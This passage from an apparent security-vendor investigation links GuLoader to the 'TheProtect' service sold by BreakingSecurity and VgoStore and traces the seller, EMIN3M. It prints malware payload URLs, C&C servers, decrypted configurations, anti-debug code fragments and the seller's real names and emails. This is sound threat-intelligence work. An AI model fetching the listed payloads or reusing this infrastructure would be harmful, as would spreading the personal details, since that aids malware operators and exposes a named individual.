Matches rule NSIS by → NSIS Integrity Che	y kevoreilly from ruleset NSIS at https://github.com/kevoreilly/CAPEv2					
Dynamic Analysis Sand	dbox Detections ③ E flags this file as: MALWARE (GuLoader)	^				

Figure 25 - VirusTotal report for the sample demonstrated on the EMIN9M's video.

We were able to classify this file as the NSIS variant of GuLoader and decrypted its configuration. In this GuLoader sample's configuration, we found a URL with the same IP address but with a different path:

+ key	["2a108eba7b6cbd0b4bb14d9e0af656f8786eeb04b89b007cbc5993d76c00d7e0f39ab1cf8037b49a4bf2f9f4dca870698f8903c4f5812368e1f731aa4d_
+ key_len	872
+ strings_key	2bd7f5c7b46009228423c42693ce8be19116d38197239505c6708cc8103fab8cb074e20637
+ type	guloader
+ url_strings	["BagbUnw194.180.48.211/ray/BdNnKAT84.bin"]
+ urls	[{ "url": "http://194.180.48.211/ray/BdNnKAT84.bin" }]

Figure 26 – Decrypted GuLoader configuration.

The URL for downloading the GuLoader payload "hxxp://194[.180.48.211/ray/BdNnKAT84.bin" is no longer active, so we used VirusTotal to obtain the encrypted payload (SHA256: de11c14925357a978c48c54b3b294d5ab59cffc6efabdae0acd1a17033fe6483). We decrypted the final payload, and it appears to be the Remcos RAT (SHA256: 83df18f8e28f779b19170d2ca707aa3dbcee231736c26f8ba4fbd8768cd26ba6) with the C&C sever address "mazzancollttyde.business:7060" (185.126.237.209):

File details					
窷 Details	4	Relations	۹	Preview	Static config remcos
Family		remcos			
+ raw_config		mazzancol	lttyd	e.busines	s:7060:0 protection1 1

Figure 27 – Decrypted Remcos C&C configuration.

It turns out that in this case, GuLoader was also used for the delivery of the Remcos RAT, but this time the NSIS variant.

Through the analysis of these two videos, we were able to discover what type of payload was used. But most importantly, we saw that the executable files protected by "TheProtect" tool sold in VgoStore are identical to GuLoader. In these videos, we found both variants of GuLoader (NSIS and VBScript variants) that we have seen in the wild. Most likely, these variants correspond to the types of protection service that you can buy: The Protect: Private Protect (corresponding to the NSIS variant), and Script Protect (corresponding to the VBScript variant).

GuLoader from the VgoStore and connection with CloudEyE

When we conducted our research, our first concern was whether the samples we see now in 2023 are really the same GuLoader that we found a connection to CloudEyE from Securitycode.eu in 2020.

Indeed, GuLoader now looks really different. The execution does not involve VB6 application like it did in <u>GuLoader from 2020</u>. Now it is distributed in the form of a VBS script or NSIS executable. The only thing the 2020 and 2023 versions still have in common is the core of GuLoader functionality – the encrypted shellcode. However, this part also changed significantly. As we described in our previous article, the developers of GuLoader utilize new obfuscation techniques that mask the real execution flow and make automatic disassembling tools and debuggers fail to analyze the code. The new version also implements data obfuscation using arithmetic operations.

However, we still managed to find similarities in the code. In the screenshot below, you can see that both versions use an anti-debug trick: patching the <u>DbgUiRemoteBreakIn</u> and <u>DbgBreakPoint</u> functions. Despite the fact that the assembly code is very different due to the obfuscation in the new version, in both GuLoader versions from 2020 and 2023 the same bytes are used to overwrite the code of the functions that we can see after deobfuscating the code.

GuLoader 2020 (CloudEyE)

pDbgUiRemoteBreakIna = (_BYTE *)ab_ResolveFunction(call. ab_GetProcAddress ; DbgUiRemoteBreakIn *(_DWORD *)(a1 + 28), 0x19B184A8); [esp-4+DbgUiRemoteBreakIn], eax mov mov eax, [esp-4+Dbg<u>UiRemo</u>teBreakIn] *pDbgUiRemoteBreakIna = 0x5A: pDbgUiRemotebreakIna ^= pDbgUiRemoteBreakIna ^= mov byte ptr [eax], 6Ah ; 'j 0xD3u; 0x94u; inc eax *pDbgUiRemoteBreakIna += 0x4D; // 0x6A dec eax byte ptr [eax+1], 0 pDbgUiRemoteBreakIna[1] 0x3D; mov mov byte ptr [eax+2], 0B8h pDbgUiRemoteBreakIna[1] ^= 0x99u; pDbgUiRemoteBreakIna[1] += 0x73; pDbgUiRemoteBreakIna[1] byte ptr [eax+7], ØFFh 0x17u; // 0x00 mov pDbgUiRemoteBreakIna[2] = 0xAF; byte ptr [eax+8], 0D0h mov pDbgUiRemoteBreakIna[2] 0xB4u; fnop pDbgUiRemoteBreakIna[2] byte ptr [eax+9], 0C2h + 0x16; mov pDbgUiRemoteBreakIna[2] ^= 0x89u; // 0xB8 fnop byte ptr [eax+0Ah], 4 pDbgUiRemoteBreakIna[7] = 0xFC; mov pDbgUiRemoteBreakIna[7] -= 0x44 · dec eax inc eax pDbgUiRemoteBreakIna[7] 0xF2u: pDbgUiRemoteBreakIna[7] ^= 0xBFu; byte ptr [eax+0Bh], 0 mov // 0xFF pDbgUiRemoteBreakIna[8] 0x23; pDbgUiRemoteBreakIna[8] ^= 0x77u; ^= 3u; pDbgUiRemoteBreakIna[8] pDbgUiRemoteBreakIna[8] ^= 0x87u; // 0xD0 pDbgUiRemoteBreakIna[9] = 0x2C; pDbgUiRemoteBreakIna[9] ^= 0xF5u; ^= 0x73u; pDbgUiRemoteBreakIna[9] pDbgUiRemoteBreakIna[9] += 0x18; // 0xC2 = 0x71; ^= 9u; ^= 0xA2u; pDbgUiRemoteBreakIna[10] pDbgUiRemoteBreakIna[10] pDbgUiRemoteBreakIna[10] pDbgUiRemoteBreakIna[10] += 0x2A; // 0x04 pDbgUiRemoteBreakIna[11] 0x8D; += 0x22; += 4; ^= 0xB3u; pDbgUiRemoteBreakIna[11] pDbgUiRemoteBreakIna[11] pDbgUiRemoteBreakIna[11] // 0x00

Figure 28 – Code similarities in GuLoader versions from 2020 and 2023.

In general, regarding anti-analysis techniques, the list is very similar in both versions. It is apparent the number of anti-analysis techniques expands with the release of each new version.

GuLoader 2023

In addition, all versions of the shellcode use a large structure to store global variables that may be needed at various stages of shellcode execution. The base address of this structure is stored in the EBP register. The offsets of various variables in this structure changed between versions, while other offsets remain the same.

We considered 2 samples: the one we analyzed recently in 2023 (MD5: 40b9ca22013d02303d49d8f922ac2739) and the older one from 2020 (MD5: d621b39ec6294c998580cc21f33b2f46).

GuLoader 2023	GuLoader 2020
00000024 NtProtectVirtualMer	nory 00000024 NtProtectVirtualMemory
00000028 NtGetContextThread	00000028 NtGetContextThread
0000002C NtSetContextThread	0000002C NtSetContextThread
00000030 NtWriteVirtualMem	ory 00000030 NtWriteVirtualMemory
00000034 field_34	00000034 field_34
00000038 NtCreateSection	00000038 NtCreateSection
0000003C NtMapViewOfSectio	n 0000003C NtMapViewOfSection
00000040 NtClose	00000040 NtClose
000000CC NtSetInformationPro	ocess 000000CC field_CC
000000D0 InternetOpenA	000000D0 InternetOpenA
000000D4 InternetSetOptionA	000000D4 InternetSetOptionA
000000D8 InternetOpenUrlA	000000D8 InternetOpenUrIA
000000DC InternetReadFile	000000DC InternetReadFile
000000E0 InternetCloseHandle	000000E0 InternetCloseHandle

Figure 29 - Same offsets of API function pointers in the global structure in GuLoader from 2020 (CloudEyE) and GuLoader from 2023.

You can see that in both samples the offsets of the variables storing the addresses of many API functions are the same.

We also have samples of intermediate versions of GuLoader at our disposal, which we identified in 2021 and 2022. Let's compare the code for the decryption routine that we extracted from the sample first seen in 2021 (MD5: **abf39daaa33505f26959db465116f21f**) with the routine in the 2023 GuLoader sample from the previous example (MD5: **40b9ca22013d02303d49d8f922ac2739**). The assembly code in these functions is slightly different due to the obfuscation. However, if we use a decompiler, we get identical results for both samples.



GuLoader 2023



Figure 30 - Same decompiled code in GuLoader versions from 2021 and 2023.

Our tools for automatic malware classification and configuration extraction identify these samples as GuLoader due to similar behavioral and code patterns.

Name/Hash	Size/Type	Tags
Name: 02ef8a46211b1a09d753390f2ab23a9cc2664ee21adf1c61 SHA256: 02ef8a46211b1a09d753390f2ab23a9cc2664ee21adf1c61 MD5: abf39daaa33505f26959db465116f21f	Size: 188 kB Type: PE32 executable (GUI) Intel 80386, for MS Wind	guloader () ripped:guloader () runnable:win32:exe () te:guloader ()
Name: 87d9e16b3638b71511e764a50aa74284e15f81550196bfd SHA256: 87d9e16b3638b71511e764a50aa74284e15df5c9681bedd MD5: 40b9ca22013d02303d49d8f922ac2739	Size: 398.6 kB Type: PE32 executable (GUI) Intel 80386, for MS Wind	packed:nsis runnable:win32:exe te:guloader te:guloader
Name: fa4e5a640cc9d4f2e30558130202aac0a138f7a2b9044f53 SHA256: fa4e5a640cc9d4f2e30558130202aac0a13555699c4c328 MD5: d621b39ec6294c998580cc21f33b2f46	Size: 84 kB Type: PE32 executable (GUI) Intel 80386, for MS Wind	guloader (>) ripped:guloader (>) runnable:win32:exe (>) te:guloader (>) yara:matware_win_guloader (>)

Figure 31 - Samples from 2021, 2022 and 2023 are identified as GuLoader.

We used automated analysis to process more than 6 thousand GuLoader samples sorted by the date first seen and identify different versions of GuLoader. This also allowed us to build a timeline of GuLoader shellcode versions. In the chart below, we marked versions with significant changes in the algorithms for the encryption and obfuscation of data; strings, including the URL for downloading the payload; and payload decryption keys:



Figure 32 – Timeline of different GuLoader shellcode versions.

This chart shows that with each new version of the GuLoader shellcode, the number of samples of the old versions was considerably reduced. All the facts listed above allow us to unequivocally believe that the new versions of GuLoader, including the samples demonstrated by VgoStore, are still the same malware, whose connection with CloudEyE and Securitycode.eu we showed in 2020.

Who is behind BreakingSecurity and VgoStore

As we mentioned earlier, the user with the nickname "EMIN3M" is a moderator of the official Telegram group of BreakingSecurity.net:



Figure 33 – EMIN9M Telegram user details.

We can see very specific artifacts in the videos posted by EMIN₉M. Among them are custom icons for "This PC" and the folder "EM1NeM" on the desktop, as well as a very specific desktop background related to Mortal Kombat:



Figure 34 - EMINoM's desktop artifacts.

We can use these to identify videos created by EMIN9M.

Let's now move to the **@VgoStore_Group**. Among the administrators of this group, we can see two users: **EMIN3M** (with a custom title "Trusted Vendor") and **VGO** (**@VgoStore**):



VGO 😺

Administrator

Figure 35 – VgoStore Telegram group administrators.

last seen recently

VGO and EMINoM pretend to be different users. We can even find a "conversation" between them in this group:



Figure 36 - "Conversation" between VGO and EMIN9M.

However, if we carefully watch the videos posted by the user VGO, we notice the same artifacts we found posted by the user EMIN9M:



Figure 37 – EMIN₃M's desktop on a video posted by VGO.

Regarding the artifacts of the EMIN₃M's desktop in this video, we noticed one more detail. We see the user connects to a remote host through WinSCP and opens the folder "/var/www/html/zarath". We found an open directory with the same name on the host "**194.180.48.211**" that we discovered while analyzing the video in which the user VGO demonstrated the VBS variant of TheProtect that we identified as GuLoader.

Based on this, we can assume that both **BreakingSecurity** and **VgoStore** Telegram groups are controlled by the same person, and that he also owns both accounts – **EMIN3M** and **VGO**.

Next, we tried to search "VgoStore" in Google, and found the user "vgostore" asking for help with WordPress plugins at the "wordpress.org" website forum. During the conversation, the user published links for two unlisted YouTube videos that belong to the YouTube user "EMINE M" (@BreakingSecurity):

Forum: Plugins In reply to: ✓ [APCu Manager] APCu can't delete old Objects	Forum: Plugins In reply to: ✓ [APCu Manager] APCu can't delete old Objects
Thread Starter	Thread Starter
vgostore (@vgostore) 5 months ago	Vgostore (@vgostore) 5 months ago
Hello,	Hello,
I have updated and did clear but it's the same issue!	I have got a little video from this time exactly shows that they ain't getting deleted:
Image: Constraint of the second sec	I wards I wards I wards

Figure 38 - Unlisted YouTube videos published by EMIN9M at the "wordpress.org" website forum.

In the beginning of the video "2023 01 26 15 18 16" (<u>https://www.youtube.com/watch?v=L8yB_xybTPs</u>), we see the familiar Mortal Kombat wallpaper that we saw on EMIN₃M's desktop on other videos. We can also see the IP address "173.212.217.108" of the remote desktop through which EMIN₃M accesses the web hosting panel and email "abudllah.alshamsy(at)gmail[.]com":



Figure 39 – IP address of the server managed by EMIN₃M via remote desktop.

In the second video ("2023 01 26 20 02 07", https://www.youtube.com/watch?v=KHp07C3DgWo) we observe the VgoStore WordPress admin panel, and the "Orders" tabs of both BreakingSecurity and VgoStore open simultaneously:

😵 Orders « Breaking: 🗙 🧯	9 WhatsApp	×	쪶 Roundcube Webn 🗙	🔞 APCu can't delete 🗙	🎒 DecaLog Live Ever 🗙	🎒 Orders 🛛 VgoStore: 🗙
◇ A ≕	https:// vgostore.n	iet/w	p-admin/admin.php?pag	ge=decalog-console		

Figure 40 - "Orders" tabs of both BreakingSecurity and VgoStore open simultaneously in EMIN3M's video.

Despite the attempts to conceal any direct affiliation to VgoStore, **EMIN**3M turns out to be the manager of both the BreakingSecurity and VgoStore websites and Telegram groups.

EMIN₉M's identity

One of the videos published by EMINoM on the WordPress forum ("2023 01 26 15 18 16", <u>https://www.youtube.com/watch?v=L8yB_xybTPs</u>) is quite long. During the recording, EMINoM repeatedly switched between different windows, and some of the frames showed sensitive data that helped our investigation. The carelessness with which EMINoM treats information security suggests that he thinks he has nothing to fear from the law.

EMIN3M uses the name "Rabea Akram" for his email (expert.eminem@gmail[.]com) and in the communications related to websites administration (5:38):



On the same video at 10:36 we can see EMIN3M booked a flight under the name "Shadi Gharz Elddin":

9 0	ders «	Breakir	ngSecurity.ne	-× 🗹	🕽 WhatsAp	φ		🍚 Roundcub	e Webmail :: Int	box ×	🛑 Decal	Log Live Events < VgoS	Store. ×	🎒 perfmatters ‹ Vş	goStore.net — ₩ ×	M Inbo	x - expert.emine	tm@gmail. ×				
0	8 •	🖻 htt	ps://mail. g	ogle.com/															٩ ₈	☆		
	۹										벆											?
			C :																			
		Prim	ary			Promotio	ns		왋 Soci	ial												
			> Willie, I			[InMotion	Hosting		ation with Ral	bea Akra												
÷		\$	Namec	heap Host	ting T.	Hostin A		Credentials Ch	hanged - Hos											🗈	1 1	đ
		\$	Opodo	Prime		Your book	ing is co	onfirmed! (refe	arence: 10621	1887810)	- Opodo P	rime Shadi Gharz	Elddin	Exclusive Prime ho	tline (+44) 20861	118914 Grea	at news! Your	booking is co	onfirmed Opc	do book	ing	

Figure 42 - EMINoM's real name in the flight booking confirmation email.

We easily found the Facebook and Twitter accounts of Shadi Gharz, on which he openly writes that his place of work is BreakingSecurity:





Knowing that EMIN₃M's real name is Shadi, we can assume that the source for choosing the nickname "EMIN₃M" most likely was the song "The Real Slim Shady" by the artist Eminem.

Malicious activity conducted by EMIN₉M

In addition to the previously mentioned samples which were utilized in attacks specifically targeting CPAs and accountants during the US tax season (SHA256: 63559daa72c778e9657ca53e2a72deb541cdec3e0d36ecf04d15ddbf3786aea8,

c914dab00f2b1d63c50eb217eeb29bcd5fe20b4e61538b0d9d052ff1b746fd73), we discovered that EMIN9M is the individual responsible for orchestrating numerous attacks over the past few years. Let us examine some of these attacks.

1. In a video <u>https://youtu.be/5xpYjLbDpnE?t=84</u> posted by Eminem in 2021, at mark 1:24 we see the browser history records:

S WhatsApp X	1	New Tab	×	😂 Troubleshooting Information 🛛 🗙	👈 New Tab 🛛 🗙 🗙
\leftrightarrow \rightarrow G	ŵ	Q about:config			
		about:config —	/isit		
		🚔 about:config —	witch to		
		🞈 PB - Login — http		uks.com/private/config.php?account=scop	
		🜐 Database Error —	http://w	ww.ryandeby.com/private/config.php?acco	
		🎈 PB - Login — http	//ryande	by.com/private/config.php?account=waters	
		PB - — http://www	.ryandeb	.com/private/config.php?account=waters	
		🍳 PB - Installs — htt	p://alienz	ouks.com/private/config.php?action=taskm	nanager
		🍳 PB - Forms — http		ouks.com/private/config.php?action=logs	
		🍳 PB - Keystrokes —		lienzouks.com/private/config.php?action=k	xeystrokes
		🔍 PB - Recoveries —	http://a	ienzouks.com/private/config.php?action=re	ecoveries

Figure 44 - EMINaM's browser history entries contain addresses of Formbook C&C servers.

This list above contains addresses of Formbook info stealer panels used to control bots and retrieve stolen data. Here is a list of Formbook samples using C&C servers with the given addresses:

SHA256	Description	IOCs in the sample
36d0c2e7f20f3ff81c4e7f25b66551f1dd2d736775e0994d39aca4c73cb658bb	Formbook 4.1	ryandeby.com/private/
7b2d1dc5fecb9e8821545af477721b45b4b4817adced81c78479e53c2e3028f5	Formbook 4.1	alienzouks.com/private/

2. In different videos published by EMINoM, we noticed several IP addresses of the servers that he manages through RDP or SFTP.

We were able to download the current contents of the open directory "hxxp://194.180.48.211/zarath/" mentioned above:

Index of /zarath

<u>Name</u>	Last modified Size Description
Parent Directory	-
Description of the second seco	2023-05-05 01:47 198K
FgUzhlBcwPNK142.dsp	2023-01-19 05:30 471K
Pound.dwp	2023-05-05 01:48 267K
Investor15.snp	2023-05-05 02:11 265K
<u>OeFKJuYezy126.psp</u>	2023-01-24 03:29 471K
TPTemLk218.rar	2023-01-24 03:39 471K
Thym.pcz	2023-03-03 06:43 263K
Trapl.cur	2023-05-16 05:51 291K
<u>YFgwpcMXVaGn227.bin</u>	2023-05-16 05:50 476K
aMTieiOgxIUkhcD184.sea	2023-03-01 06:36 471K
eurPFDPkrUBfJVBn139.xsr	2023-03-03 06:41 471K
info.pdf	2023-02-02 00:18 3.5M
nnUZPAKgeThwygwKG104.	<u>bin</u> 2023-05-05 02:09 198K

Apache/2.4.29 (Ubuntu) Server at 194.180.48.211 Port 80 Figure 45 – Contents of "194.180.48.211/zarath/".

We identified a portion of the files in this folder as GuLoader encrypted shellcode, and the rest as encrypted payloads, most of which are Remcos. While the developers may claim that Remcos and GuLoader (CloudEyE, TheProtect) are legitimate software, we also found two truly malicious payloads in this folder that we identified as <u>Amadey Loader</u>, and the corresponding GuLoader shellcodes that load and decrypt those payloads:

URL	SHA256	Description	IOCs in the sample
hxxp://194[.180.48.211/zarath/Found.dwp	9294279b158b48a5ac498070d4687e37 f6efdac460684fc6cc30eee875cd1257	GuLoader encrypted shellcode (BASE64- encoded)	hxxp://194.180.48.211/;
hxxp://194[.180.48.211/zarath/ClgRRi242.bin	ab9ecfc10f1e537e2c4a31da2b9ffd7f d0d696b59eb72da48ae2d11df639d120	Encrypted Amadey payload (downloaded by GuLoader)	
hxxp://194[.180.48.211/zarath/ClgRRi242.bin	42b9f3c3b5cf44db9e371093e400fc08 7a9b7324b4875f4eef5efbde3b984157	Decrypted Amadey payload	hxxp://176.113.115.81/
http://194[.180.48.211/zarath/Investor15.snp	618bf81ba49b99210ea91fe359daf420 596b58f37636d8dea1bf012ce081d1ae	GuLoader encrypted shellcode (BASE64- encoded)	hxxp://194.180.48.211/;
hxxp://194[.180.48.211/zarath/nnUZPAKgeThwygwKG104.bin	4c85469c2d3a8871a767df084db32169 88b213e4c1928a1b8133aca3874765de	Encrypted Amadey payload	
hxxp://194[.180.48.211/zarath/nnUZPAKgeThwygwKG104.bin	9a02ea9ef7ffe6d1372bd099336ea414 386d5041c78151f3b71ff33b0d307f74	Decrypted Amadey payload	hxxp://176.113.115.81/

3. In a video posted by EMIN₃M in the @BreakingSecurity_Group Telegram group on April 19, 2022, we see how he connects to a remote server named "CaliPB" and the IP address "**38.242.193.23**" as a root user (which means that he is the owner of this server):

←	BreakingSecurity.net	🚮 html - CaliPB - WinSCP –	- 🗆 🗙
Pinne Re	d Message #7 mcos v3.4.1 Update This new update impr ≈=	 Queue • H S Synchronize • Transfer Settings Default • Login - × 	
	helio guys, before ordering this product, can someone explain how they bypass MSF Defender ? COO LiuX Melio guys, before ordering this produ BreakingSecurity aim was never to bypass Anti virus systems, they offer a way to white list The agent file at The Anti virus systems they offer a way to white list The agent file at The Anti virus systems to be on the system start to be the Sou can use crypters to on this Job for You. Deleted Account Hi, Guys Meteorite Downloader Work For You?	CAIPB CalPB	Files P. V. Comparison of the second
	EMINAM Moderator cool setup :D 2254	PerfLogs MSCreache SWINREAgent SWINDOWS Tools ▼ Manage ▼ □ Login ▼ Close Help Close Help Close Help Close Help SWINDOWS Close Help SWINDOWS SWINDOWS Close Streacher SWINDOWS.	 0:00:26

Figure 46 – EMIN9M connects to his server as a root user using WinSCP.

In the next screenshot we see the contents of the "/var/www/html" folder, which is accessible through the web. Our attention was attracted by a subfolder named "private":

🌆 htn 🏷 - CaliPB - WinSCP						- 🗆	×
🕼 🗊 Queue 🗸 🕂	🛿 🔁 🔁 Synchro	onize 🗾	P	Transfer Settings Default	•		
					<i>🛃</i> -		
📮 CaliPB 💣 New Session							
🟪 C: 🔻 🚰 🔽 🗇 - 🔿 -	🖻 🗈 🏠 🎜	2		📙 ht 🝷 🚰 🔽 🦛 🖛 🔶 🔹 🔁	i 🔽 🏠 🎜 🔍 F	ind Files 🛛 🗧	
🛃 Upload 👻 📝 Edit 👻 🚮	Properties ×	• + -	»	📑 🔂 Download 👻 📝 Edit 👻 🛒	🕞 🕞 Properties		V
C:\				Local Mark Files Commands Sess	ion Options Remot	e Help	
Name	Size	Туре	^	/var/www/html			
Windows		File folder		Name	Size	Changed	
Users		File folder				3/12/2022 2:	57:15 A
Temp		File folder		private		4/4/2022 1.1	8-08 PM
System Volume Information		File folder		1 eve	72 KB	10/2/2016 11	1.52.59
🔷 Sandbox		File folder		data bin	463 KB	4/6/2022 2:4	0.47 ΔN
Recovery		File folder		index html	11 KB	8/27/2021 3	11.51 PI
ProgramData		File folder			1 152 KB	6/30/2020 7:	30-38 PI
Program Files (x86)		File folder			1,152 105	0/ 50/ 2020 /.	50.5011
Program Files		File folder					
PerfLogs		File folder					
MSOCache		File folder					
Documents and Settings		File folder					
\$WinREAgent		File folder					
\$WINDOWS.~BT		File folder	¥				
<		>		<			>
0 B of 5,183 MB in 0 of 23				0 B of 1,697 KB in 0 of 5			
					A SETD-3	0.0	0.29

Figure 47 – Contents of folder "/var/www/html" on the EMINoM's server.

Unfortunately, the contents of the "private" folder could not be retrieved. However, we were still able to find related samples using VirusTotal.

We analyzed samples previously downloaded from the host "38.242.193.23". Among them, we found GuLoader and Remcos:

URL	SHA256	Description	IOCs in the sample	
hxxp://38[.242.193.23/1.exe	0db693472b4ca6f3ec1effc03d47c288 f15ed06b7d4e172f8192047d3e800db1	GuLoader	hxxp://194[.180.48.211/frog/dnsJRjnsc	

hxxp://194[.180.48.211/frog/dnsJRjnsci193.sea	723ac2c81529c534e97cfd73d89b2479 dfc34909c4814324b71147b391896979	Remcos payload (downloaded by GuLoader)	173.212.217.108 zab4ever.no-ip.org -> 185.217.1.137	
hxxp://38[.242.193.23/private/radios.exe	791845e2c97b9a70f35075be963a88f0 410201145953179303a4c689ccd8ac4a	Remcos	173.212.217.108 1zab4ever.no-ip.org - 185.217.1.137	

In this table, we again see the IP addresses "**194.180.48.211**", "**173.212.217.108**" that we connected with EMIN₃M earlier. But now we see the new IP address "**185.217.1.137**" used as a Remcos C&C server. This IP address belongs to nVPN, which provides port forwarding service, and is likely used by EMIN₃M to hide the real IP address of his Remcos C&C server. Our assumption is confirmed by the fact that on one of the videos, we saw a letter from nVPN in EMIN₃M's mailbox:

>	graceful delirium	Fwd: Ваш пароль от личного кабинета Пересь			
>	Namecheap, me 4	[#EMP-904-29650]: Namecheap Live Chat Follow-up: SSL f			
Σ	nVpn.net	nVpn - Order Completed!			
>	Proxifier Support	[#VIJ-898-10930]: switch to setup/install version as the key			

Figure 48 – nVpn.net confirmation email received by EMIN9M.

We also found a domain name "vrezvrez.com" that was resolved to the IP address "38.242.193.23" during the period when this video was recorded.

We found five Formbook samples of version 4.1 with the C&C server URL "vrezvrez.com/private/":

SHA256	Description	IOCs in the sample
d844221b683b4308b60fe80e23e6e3e618e07d36381b03da746e580e805d1814	Formbook 4.1	vrezvrez.com/private/
84b3c700ebdb8da0dde2ee19c88e957389051d484386d2859d27dc56b6c30157	Formbook 4.1	vrezvrez.com/private/
496924a13efee60c314947f296d6095b07a1ef6920fcc502d06ffa6c4a9a32e1	Formbook 4.1	vrezvrez.com/private/
b93821edca20bd777e3f4a17aac0f9e5d4ddb351bdf2ba7ce1b0eecc7e3890f2	Formbook 4.1	vrezvrez.com/private/
aeb95fd2613e369ee8a885124dc4f717d21a337216f75101f5066ed48bc48ca3	Formbook 4.1	vrezvrez.com/private/

Therefore, the evidence shows a comprehensive case for the involvement of Eminem in carrying out attacks not only with Remcos and GuLoader but also using well-known malware such as Formbook and Amadey Loader.

Revenue

The unlisted YouTube video "**2023 01 26 15 18 16**" uploaded by EMIN₉M that we found on the WordPress forum contains a lot more data that helped us in our investigation. At <u>5:41</u> we see the inbox of EMIN₉M's Gmail account. We paid attention to the email from the service "tochkaobmena.com". On the video it was possible to recover the link from the email:

https://tochkaobmena.com/hst_FhaMv1rUzBTMfXlgR71vRjafr47K0wQyjuF/





We followed the link and found the page with the results of the digital assets exchange operation (Perfect Money USD -> Tron USDT) that contains a Tron blockchain wallet address:

TLqC6F4AVs8MrdiQDgRuFcW2Xp3iY3hg2D

We analyzed incoming transactions and calculated the total amount received by this account during the last 365 days: USDT 59,685.08.

However, it is obvious that only part of the BreakingSecurity and VgoStore finances flow through this wallet. We can get a better view of the income VgoStore received thanks to another frame in this video. At <u>5:06</u> we see the WordPress administrative page containing the report of the WooCommerce plugin:

W	Webmail	× 🔋 Orders	< BreakingSecurity.nel ×	🚫 WhatsApp		× 🎐	Roundcube Webmail :: Ir	ibox× 🧌	DecaLog Live Ever	nts « VgoSto×
÷	\rightarrow C	08	https:// vgosto	r e.net /wp-admi	n/index.php					
ô	VgoStore.net 📮 0	🕒 Online: 0 🗧	New 🚚 Rank Ma	th SEO Perfma	atters 😌 WP	Rocket	♣ PerfOps One			
-	Dashboard 🛛 🔸	Dashboa	rd							
На Up	me dates	Summary		÷	^ ¥ *	Site	Health Status		^	× •
⇔	Support	Online Use	rs:	(0	N	o information P	Site health checks will automatically run periodically to gather information about your site. You can also <u>visit the</u> <u>Site Health screen</u> to gather information about your site now.		
-	Comments	Todaya		Visitors	Visits		yet ii			
*	Posts	Yesterdary.		30	134					
L	Pages	Yesterday: Last 7 Days (Week): Last 30 Days (Month):		90	230	Woo	WooCommerce Status		^	× *
-	Products			727	1,591	\$ 15,666.0				
	Newsletter			1,796	4,268		net sales this month			
*	Virtual Reviews	Last 365 D	ays (Year):	1,796	4,268		Remcos Shop			ı le
4	Rank Math	Total:		1,796	4,268		top seller this month (so	ld 15)		.d.uultu
P	Marketing					-	0 orders awaiting processing	•	0 orders on-hold	
Mpp	WooCommerce	Search Engine Referrals					9 products		8 products	
\mathbf{Y}	Contact		Today Vesterday			low in stock		out of stock		
•	Elementor Essential Addons	💋 Ask.com		O	O	ul	\$ 2.574,0 wallet top-up this mont			

Figure 50 – WordPress administrative page displays sales statistics.

The amount of \$ 15,000 may be considered an estimate of the monthly income from sales of Remcos and other services at the VgoStore website.

Conclusion

Tools such as Remcos and GuLoader, once exclusively sold on hacking forums and now publicly available on e-commerce, masquerade as legitimate products. Now easily accessible, such tools have become popular among individuals with malicious intentions.

Our findings reveal that an individual operating under the alias EMIN₉M administers both websites BreakingSecurity and VgoStore that openly sell Remcos and GuLoader under a new name, TheProtect. We also uncovered proof of EMIN₉M's involvement in the distribution of malware, including the notorious Formbook info stealer and Amadey Loader. At the same time, EMIN₉M employs TheProtect for his own malicious purposes, exploiting its ability to bypass antivirus software.

In light of these findings, it becomes evident that the veneer of legitimacy cultivated by BreakingSecurity, VgoStore, and their products is nothing more than a smokescreen. The individuals behind these services are deeply entwined within the cybercriminal community, leveraging their platforms to facilitate illegal activities and profit from the sale of malware-laden tools.

This serves as a stark reminder that the fight against cybercrime requires constant vigilance and collaboration. Law enforcement agencies, cybersecurity professionals, and the broader community must join forces to expose and neutralize these threats. By shining a light on the nefarious activities of individuals like EMIN₉M and their associated platforms, we take a step towards a safer digital landscape that can better protect individuals, organizations, and our shared digital ecosystem.

Check Point Threat Emulation provides protection against these threats:

- Dropper.Win.CloudEyE.*
- Dropper.Win.Guloader.*
- RAT.Win.Remcos.*